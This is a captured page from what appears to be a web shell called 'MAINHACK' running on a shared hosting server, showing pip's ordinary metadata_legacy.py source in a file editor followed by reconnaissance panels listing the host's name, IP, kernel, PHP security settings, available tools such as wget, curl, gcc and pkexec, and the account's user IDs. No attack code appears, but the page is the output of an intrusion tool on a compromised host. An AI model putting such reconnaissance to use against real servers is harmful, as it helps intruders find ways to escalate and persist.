[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: metadata_legacy.py
File is not writable. Editing disabled.
"""Metadata generation logic for legacy source distributions. """ import logging import os from pip._internal.build_env import BuildEnvironment from pip._internal.cli.spinners import open_spinner from pip._internal.exceptions import ( InstallationError, InstallationSubprocessError, MetadataGenerationFailed, ) from pip._internal.utils.setuptools_build import make_setuptools_egg_info_args from pip._internal.utils.subprocess import call_subprocess from pip._internal.utils.temp_dir import TempDirectory logger = logging.getLogger(__name__) def _find_egg_info(directory: str) -> str: """Find an .egg-info subdirectory in `directory`.""" filenames = [f for f in os.listdir(directory) if f.endswith(".egg-info")] if not filenames: raise InstallationError(f"No .egg-info directory found in {directory}") if len(filenames) > 1: raise InstallationError( "More than one .egg-info directory found in {}".format(directory) ) return os.path.join(directory, filenames[0]) def generate_metadata( build_env: BuildEnvironment, setup_py_path: str, source_dir: str, isolated: bool, details: str, ) -> str: """Generate metadata using setup.py-based defacto mechanisms. Returns the generated metadata directory. """ logger.debug( "Running setup.py (path:%s) egg_info for package %s", setup_py_path, details, ) egg_info_dir = TempDirectory(kind="pip-egg-info", globally_managed=True).path args = make_setuptools_egg_info_args( setup_py_path, egg_info_dir=egg_info_dir, no_user_config=isolated, ) with build_env: with open_spinner("Preparing metadata (setup.py)") as spinner: try: call_subprocess( args, cwd=source_dir, command_desc="python setup.py egg_info", spinner=spinner, ) except InstallationSubprocessError as error: raise MetadataGenerationFailed(package_details=details) from error # Return the .egg-info directory. return _find_egg_info(egg_info_dir)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.16 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A